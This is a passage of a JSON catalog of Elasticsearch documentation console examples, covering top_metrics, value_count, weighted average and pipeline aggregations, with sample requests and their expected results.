/test/_bulk?refresh\n{\"index\": {}}\n{\"s\": 1, \"m\": 3.1415}\n{\"index\": {}}\n{\"s\": 2, \"m\": 1.0}\n{\"index\": {}}\n{\"s\": 3, \"m\": 2.71828}\nPOST /test/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"s\": \"desc\"},\n \"size\": 3\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":272},"digest":"b63ce79ce4fa1bb9b99a789f4dcfef4e","lang":"console","found":["ruby"],"source":"PUT /test/_settings\n{\n \"top_metrics_max_size\": 100\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":291},"digest":"5b3384992c398ea8a3064d2e08725e2b","lang":"console","found":["ruby"],"source":"PUT /node\n{\n \"mappings\": {\n \"properties\": {\n \"ip\": {\"type\": \"ip\"},\n \"date\": {\"type\": \"date\"}\n }\n }\n}\nPOST /node/_bulk?refresh\n{\"index\": {}}\n{\"ip\": \"192.168.0.1\", \"date\": \"2020-01-01T01:01:01\", \"m\": 1}\n{\"index\": {}}\n{\"ip\": \"192.168.0.1\", \"date\": \"2020-01-01T02:01:01\", \"m\": 2}\n{\"index\": {}}\n{\"ip\": \"192.168.0.2\", \"date\": \"2020-01-01T02:01:01\", \"m\": 3}\nPOST /node/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"ip\": {\n \"terms\": {\n \"field\": \"ip\"\n },\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"date\": \"desc\"}\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":362},"digest":"4af15c4f26ddefb9c350e7a246a66a15","lang":"console","found":["ruby"],"source":"POST /node/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"ip\": {\n \"terms\": {\n \"field\": \"ip\",\n \"order\": {\"tm.m\": \"desc\"}\n },\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"date\": \"desc\"}\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":423},"digest":"2d2f5ec97aa34ff7822a6a1ed08ef335","lang":"console","found":["ruby"],"source":"POST /test/_bulk?refresh\n{\"index\": {\"_index\": \"test1\"}}\n{\"s\": 1, \"m\": 3.1415}\n{\"index\": {\"_index\": \"test1\"}}\n{\"s\": 2, \"m\": 1}\n{\"index\": {\"_index\": \"test2\"}}\n{\"s\": 3.1, \"m\": 2.71828}\nPOST /test*/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"s\": \"asc\"}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":463},"digest":"56da9c55774f4c2e8eadde0579bdc60c","lang":"console","found":["ruby"],"source":"POST /test*/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"s\": {\"order\": \"asc\", \"numeric_type\": \"double\"}}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/top-metrics-aggregation.asciidoc","line":499},"digest":"bdfb86cdfffb9d2ee6e3d399f00a57b0","lang":"console","found":["ruby"],"source":"POST /test*/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"ip\": {\n \"terms\": {\n \"field\": \"ip\"\n },\n \"aggs\": {\n \"tm\": {\n \"top_metrics\": {\n \"metrics\": {\"field\": \"m\"},\n \"sort\": {\"s\": \"desc\"},\n \"size\": 1\n }\n },\n \"having_tm\": {\n \"bucket_selector\": {\n \"buckets_path\": {\n \"top_m\": \"tm[m]\"\n },\n \"script\": \"params.top_m < 1000\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/valuecount-aggregation.asciidoc","line":15},"digest":"e7eca57a5bf5a53cbbe2463bce11495b","lang":"console","found":["python","ruby","go"],"source":"POST /sales/_search?size=0\n{\n \"aggs\" : {\n \"types_count\" : { \"value_count\" : { \"field\" : \"type\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/valuecount-aggregation.asciidoc","line":28},"digest":"a5942843b53196db627422fe68d46798","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"types_count\": {\n \"value\": 7\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/valuecount-aggregation.asciidoc","line":49},"digest":"1cab9da122778a95061831265c250cc1","lang":"console","found":["python","ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"tags\": {\n \"type\": \"keyword\",\n \"script\": \"\"\"\n emit(doc['type'].value);\n if (doc['promoted'].value) {\n emit('hot');\n }\n \"\"\"\n }\n },\n \"aggs\": {\n \"tags_count\": {\n \"value_count\": {\n \"field\": \"tags\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/valuecount-aggregation.asciidoc","line":97},"digest":"eada8af6588584ac88f1e5b15f4a5c2a","lang":"console","found":["python","ruby","go"],"source":"PUT metrics_index/_doc/1\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [3, 7, 23, 12, 6] <1>\n }\n}\n\nPUT metrics_index/_doc/2\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [8, 17, 8, 7, 6] <1>\n }\n}\n\nPOST /metrics_index/_search?size=0\n{\n \"aggs\": {\n \"total_requests\": {\n \"value_count\": { \"field\": \"latency_histo\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/valuecount-aggregation.asciidoc","line":130},"digest":"bc04ca78d06998b4410ced42ac4ddc19","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"total_requests\": {\n \"value\": 97\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":55},"digest":"4275ecbe4aa68d43a8a7139866610a27","lang":"console","found":["ruby"],"source":"POST /exams/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"weighted_grade\": {\n \"weighted_avg\": {\n \"value\": {\n \"field\": \"grade\"\n },\n \"weight\": {\n \"field\": \"weight\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":78},"digest":"cf7da4a0b43c334bd535db6995d7cefa","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"weighted_grade\": {\n \"value\": 70.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":101},"digest":"abc280775734daa6cf2c28868e155d10","lang":"console","found":["ruby"],"source":"POST /exams/_doc?refresh\n{\n \"grade\": [1, 2, 3],\n \"weight\": 2\n}\n\nPOST /exams/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"weighted_grade\": {\n \"weighted_avg\": {\n \"value\": {\n \"field\": \"grade\"\n },\n \"weight\": {\n \"field\": \"weight\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":130},"digest":"84a4a31a48fa19f5f0202052efae7de1","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"weighted_grade\": {\n \"value\": 2.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":152},"digest":"73250f845738c428246a3ade66a8f54c","lang":"console","found":["ruby"],"source":"POST /exams/_doc?refresh\n{\n \"grade\": 100,\n \"weight\": [2, 3]\n}\nPOST /exams/_doc?refresh\n{\n \"grade\": 80,\n \"weight\": 3\n}\n\nPOST /exams/_search?filter_path=aggregations\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"weight.combined\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n double s = 0;\n for (double w : doc['weight']) {\n s += w;\n }\n emit(s);\n \"\"\"\n }\n },\n \"aggs\": {\n \"weighted_grade\": {\n \"weighted_avg\": {\n \"value\": {\n \"script\": \"doc.grade.value + 1\"\n },\n \"weight\": {\n \"field\": \"weight.combined\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":197},"digest":"fe65500260f57458aad47b911320ebc5","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"weighted_grade\": {\n \"value\": 93.5\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/weighted-avg-aggregation.asciidoc","line":214},"digest":"291110f4cac02f4610d0853f5800a70d","lang":"console","found":[],"source":"POST /exams/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"weighted_grade\": {\n \"weighted_avg\": {\n \"value\": {\n \"field\": \"grade\",\n \"missing\": 2\n },\n \"weight\": {\n \"field\": \"weight\",\n \"missing\": 3\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline.asciidoc","line":62},"digest":"e19f5e3724d9f3f36a817b9a811ca42e","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"calendar_interval\": \"day\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"lemmings\" } <1>\n },\n \"the_deriv\": {\n \"derivative\": { \"buckets_path\": \"the_sum\" } <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline.asciidoc","line":92},"digest":"65578c390837cb4c0fcc77fb17857714","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"max_monthly_sales\": {\n \"max_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline.asciidoc","line":127},"digest":"eaf53b05959cc6b7fb09579baf34de68","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sale_type\": {\n \"terms\": {\n \"field\": \"type\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"hat_vs_bag_ratio\": {\n \"bucket_script\": {\n \"buckets_path\": {\n \"hats\": \"sale_type['hat']>sales\", <1>\n \"bags\": \"sale_type['bag']>sales\" <1>\n },\n \"script\": \"params.hats / params.bags\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline.asciidoc","line":176},"digest":"206c723296be8ef8d58aef3ee01f5ba2","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"calendar_interval\": \"day\"\n },\n \"aggs\": {\n \"the_deriv\": {\n \"derivative\": { \"buckets_path\": \"_count\" } <1>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline.asciidoc","line":202},"digest":"2afc1231679898bd864d06679d9e951b","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"day\"\n },\n \"aggs\": {\n \"categories\": {\n \"terms\": {\n \"field\": \"category\"\n }\n },\n \"min_bucket_selector\": {\n \"bucket_selector\": {\n \"buckets_path\": {\n \"count\": \"categories._bucket_count\" <1>\n },\n \"script\": {\n \"source\": \"params.count != 0\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/avg-bucket-aggregation.asciidoc","line":57},"digest":"3082ae0c3ecdc61808103214631b40c6","lang":"console","found":[],"source":"POST _search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"avg_monthly_sales\": {\n// tag::avg-bucket-agg-syntax[] <1>\n \"avg_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\",\n \"gap_policy\": \"skip\",\n \"format\": \"#,##0.00;(#,##0.00)\"\n }\n// end::avg-bucket-agg-syntax[] <2>\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/avg-bucket-aggregation.asciidoc","line":95},"digest":"6f78c28f873608e561e85a5e3e58471f","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"avg_monthly_sales\": {\n \"value\": 328.33333333333333,\n \"value_as_string\": \"328.33\"\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-script-aggregation.asciidoc","line":50},"digest":"6eead05dd3b04722ef0ea5644c2e047d","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"total_sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"t-shirts\": {\n \"filter\": {\n \"term\": {\n \"type\": \"t-shirt\"\n }\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"t-shirt-percentage\": {\n \"bucket_script\": {\n \"buckets_path\": {\n \"tShirtSales\": \"t-shirts>sales\",\n \"totalSales\": \"total_sales\"\n },\n \"script\": \"params.tShirtSales / params.totalSales * 100\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-script-aggregation.asciidoc","line":99},"digest":"327c42605491ee053c73152d9de513f9","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"total_sales\": {\n \"value\": 550.0\n },\n \"t-shirts\": {\n \"doc_count\": 1,\n \"sales\": {\n \"value\": 200.0\n }\n },\n \"t-shirt-percentage\": {\n \"value\": 36.36363636363637\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"total_sales\": {\n \"value\": 60.0\n },\n \"t-shirts\": {\n \"doc_count\": 1,\n \"sales\": {\n \"value\": 10.0\n }\n },\n \"t-shirt-percentage\": {\n \"value\": 16.666666666666664\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"total_sales\": {\n \"value\": 375.0\n },\n \"t-shirts\": {\n \"doc_count\": 1,\n \"sales\": {\n \"value\": 175.0\n }\n },\n \"t-shirt-percentage\": {\n \"value\": 46.666666666666664\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-count-ks-test-aggregation.asciidoc","line":81},"digest":"21d5fe55ca32b10b118224ea1a8a2e04","lang":"console","found":[],"source":"POST correlate_latency/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"buckets\": {\n \"terms\": { <1>\n \"field\": \"version\",\n \"size\": 2\n },\n \"aggs\": {\n \"latency_ranges\": {\n \"range\": { <2>\n \"field\": \"latency\",\n \"ranges\": [\n { \"to\": 0 },\n { \"from\": 0, \"to\": 105 },\n { \"from\": 105, \"to\": 225 },\n { \"from\": 225, \"to\": 445 },\n { \"from\": 445, \"to\": 665 },\n { \"from\": 665, \"to\": 885 },\n { \"from\": 885, \"to\": 1115 },\n { \"from\": 1115, \"to\": 1335 },\n { \"from\": 1335, \"to\": 1555 },\n { \"from\": 1555, \"to\": 1775 },\n { \"from\": 1775 }\n ]\n }\n },\n \"ks_test\": { <3>\n \"bucket_count_ks_test\": {\n \"buckets_path\": \"latency_ranges>_count\",\n \"alternative\": [\"less\", \"greater\", \"two_sided\"]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-count-ks-test-aggregation.asciidoc","line":131},"digest":"af9e571876c188dda958c8271da9297e","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"buckets\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : \"1.0\",\n \"doc_count\" : 100,\n \"latency_ranges\" : {\n \"buckets\" : [\n {\n \"key\" : \"*-0.0\",\n \"to\" : 0.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"0.0-105.0\",\n \"from\" : 0.0,\n \"to\" : 105.0,\n \"doc_count\" : 1\n },\n {\n \"key\" : \"105.0-225.0\",\n \"from\" : 105.0,\n \"to\" : 225.0,\n \"doc_count\" : 9\n },\n {\n \"key\" : \"225.0-445.0\",\n \"from\" : 225.0,\n \"to\" : 445.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"445.0-665.0\",\n \"from\" : 445.0,\n \"to\" : 665.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"665.0-885.0\",\n \"from\" : 665.0,\n \"to\" : 885.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"885.0-1115.0\",\n \"from\" : 885.0,\n \"to\" : 1115.0,\n \"doc_count\" : 10\n },\n {\n \"key\" : \"1115.0-1335.0\",\n \"from\" : 1115.0,\n \"to\" : 1335.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"1335.0-1555.0\",\n \"from\" : 1335.0,\n \"to\" : 1555.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"1555.0-1775.0\",\n \"from\" : 1555.0,\n \"to\" : 1775.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"1775.0-*\",\n \"from\" : 1775.0,\n \"doc_count\" : 20\n }\n ]\n },\n \"ks_test\" : {\n \"less\" : 2.248673241788478E-4,\n \"greater\" : 1.0,\n \"two_sided\" : 5.791639181800257E-4\n }\n },\n {\n \"key\" : \"2.0\",\n \"doc_count\" : 100,\n \"latency_ranges\" : {\n \"buckets\" : [\n {\n \"key\" : \"*-0.0\",\n \"to\" : 0.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"0.0-105.0\",\n \"from\" : 0.0,\n \"to\" : 105.0,\n \"doc_count\" : 19\n },\n {\n \"key\" : \"105.0-225.0\",\n \"from\" : 105.0,\n \"to\" : 225.0,\n \"doc_count\" : 11\n },\n {\n \"key\" : \"225.0-445.0\",\n \"from\" : 225.0,\n \"to\" : 445.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"445.0-665.0\",\n \"from\" : 445.0,\n \"to\" : 665.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"665.0-885.0\",\n \"from\" : 665.0,\n \"to\" : 885.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"885.0-1115.0\",\n \"from\" : 885.0,\n \"to\" : 1115.0,\n \"doc_count\" : 10\n },\n {\n \"key\" : \"1115.0-1335.0\",\n \"from\" : 1115.0,\n \"to\" : 1335.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"1335.0-1555.0\",\n \"from\" : 1335.0,\n \"to\" : 1555.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"1555.0-1775.0\",\n \"from\" : 1555.0,\n \"to\" : 1775.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"1775.0-*\",\n \"from\" : 1775.0,\n \"doc_count\" : 0\n }\n ]\n },\n \"ks_test\" : {\n \"less\" : 0.9642895789647244,\n \"greater\" : 4.58718174664754E-9,\n \"two_sided\" : 5.916656831139733E-9\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-correlation-aggregation.asciidoc","line":103},"digest":"fa61e3481b1f889b3bd4253866bb1c6b","lang":"console","found":[],"source":"POST correlate_latency/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"buckets\": {\n \"terms\": { <1>\n \"field\": \"version\",\n \"size\": 2\n },\n \"aggs\": {\n \"latency_ranges\": {\n \"range\": { <2>\n \"field\": \"latency\",\n \"ranges\": [\n { \"to\": 0.0 },\n { \"from\": 0, \"to\": 105 },\n { \"from\": 105, \"to\": 225 },\n { \"from\": 225, \"to\": 445 },\n { \"from\": 445, \"to\": 665 },\n { \"from\": 665, \"to\": 885 },\n { \"from\": 885, \"to\": 1115 },\n { \"from\": 1115, \"to\": 1335 },\n { \"from\": 1335, \"to\": 1555 },\n { \"from\": 1555, \"to\": 1775 },\n { \"from\": 1775 }\n ]\n }\n },\n \"bucket_correlation\": { <3>\n \"bucket_correlation\": {\n \"buckets_path\": \"latency_ranges>_count\",\n \"function\": {\n \"count_correlation\": {\n \"indicator\": {\n \"expectations\": [0, 52.5, 165, 335, 555, 775, 1000, 1225, 1445, 1665, 1775],\n \"doc_count\": 200\n }\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-correlation-aggregation.asciidoc","line":160},"digest":"616a7b91d461e4eb9af66a5289824695","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"buckets\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : \"1.0\",\n \"doc_count\" : 100,\n \"latency_ranges\" : {\n \"buckets\" : [\n {\n \"key\" : \"*-0.0\",\n \"to\" : 0.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"0.0-105.0\",\n \"from\" : 0.0,\n \"to\" : 105.0,\n \"doc_count\" : 1\n },\n {\n \"key\" : \"105.0-225.0\",\n \"from\" : 105.0,\n \"to\" : 225.0,\n \"doc_count\" : 9\n },\n {\n \"key\" : \"225.0-445.0\",\n \"from\" : 225.0,\n \"to\" : 445.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"445.0-665.0\",\n \"from\" : 445.0,\n \"to\" : 665.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"665.0-885.0\",\n \"from\" : 665.0,\n \"to\" : 885.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"885.0-1115.0\",\n \"from\" : 885.0,\n \"to\" : 1115.0,\n \"doc_count\" : 10\n },\n {\n \"key\" : \"1115.0-1335.0\",\n \"from\" : 1115.0,\n \"to\" : 1335.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"1335.0-1555.0\",\n \"from\" : 1335.0,\n \"to\" : 1555.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"1555.0-1775.0\",\n \"from\" : 1555.0,\n \"to\" : 1775.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"1775.0-*\",\n \"from\" : 1775.0,\n \"doc_count\" : 20\n }\n ]\n },\n \"bucket_correlation\" : {\n \"value\" : 0.8402398981360937\n }\n },\n {\n \"key\" : \"2.0\",\n \"doc_count\" : 100,\n \"latency_ranges\" : {\n \"buckets\" : [\n {\n \"key\" : \"*-0.0\",\n \"to\" : 0.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"0.0-105.0\",\n \"from\" : 0.0,\n \"to\" : 105.0,\n \"doc_count\" : 19\n },\n {\n \"key\" : \"105.0-225.0\",\n \"from\" : 105.0,\n \"to\" : 225.0,\n \"doc_count\" : 11\n },\n {\n \"key\" : \"225.0-445.0\",\n \"from\" : 225.0,\n \"to\" : 445.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"445.0-665.0\",\n \"from\" : 445.0,\n \"to\" : 665.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"665.0-885.0\",\n \"from\" : 665.0,\n \"to\" : 885.0,\n \"doc_count\" : 20\n },\n {\n \"key\" : \"885.0-1115.0\",\n \"from\" : 885.0,\n \"to\" : 1115.0,\n \"doc_count\" : 10\n },\n {\n \"key\" : \"1115.0-1335.0\",\n \"from\" : 1115.0,\n \"to\" : 1335.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"1335.0-1555.0\",\n \"from\" : 1335.0,\n \"to\" : 1555.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"1555.0-1775.0\",\n \"from\" : 1555.0,\n \"to\" : 1775.0,\n \"doc_count\" : 0\n },\n {\n \"key\" : \"1775.0-*\",\n \"from\" : 1775.0,\n \"doc_count\" : 0\n }\n ]\n },\n \"bucket_correlation\" : {\n \"value\" : -0.5759855613334943\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-selector-aggregation.asciidoc","line":51},"digest":"38b20fe981605e80a41517e9aa13134a","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"total_sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"sales_bucket_filter\": {\n \"bucket_selector\": {\n \"buckets_path\": {\n \"totalSales\": \"total_sales\"\n },\n \"script\": \"params.totalSales > 200\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-selector-aggregation.asciidoc","line":85},"digest":"62ac51fcd953a228259fbb34c6d97900","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"total_sales\": {\n \"value\": 550.0\n }\n },<1>\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"total_sales\": {\n \"value\": 375.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-sort-aggregation.asciidoc","line":54},"digest":"9d9c8d715b72ce336e604c2c8a2b540e","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"total_sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"sales_bucket_sort\": {\n \"bucket_sort\": {\n \"sort\": [\n { \"total_sales\": { \"order\": \"desc\" } } <1>\n ],\n \"size\": 3 <2>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-sort-aggregation.asciidoc","line":91},"digest":"d065cb05867361d96c13f9acad3b09cf","lang":"console-result","found":[],"source":"{\n \"took\": 82,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"total_sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"total_sales\": {\n \"value\": 375.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"total_sales\": {\n \"value\": 60.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-sort-aggregation.asciidoc","line":142},"digest":"92035a2a62d01a511662af65606d5fc6","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"bucket_truncate\": {\n \"bucket_sort\": {\n \"from\": 1,\n \"size\": 1\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/bucket-sort-aggregation.asciidoc","line":169},"digest":"787cc8a92d371323d88b89eb331bc96b","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc","line":46},"digest":"0c688eecf4ebdffdbe1deae0983c3ed8","lang":"console","found":["ruby"],"source":"GET /user_hits/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"users_per_day\": {\n \"date_histogram\": {\n 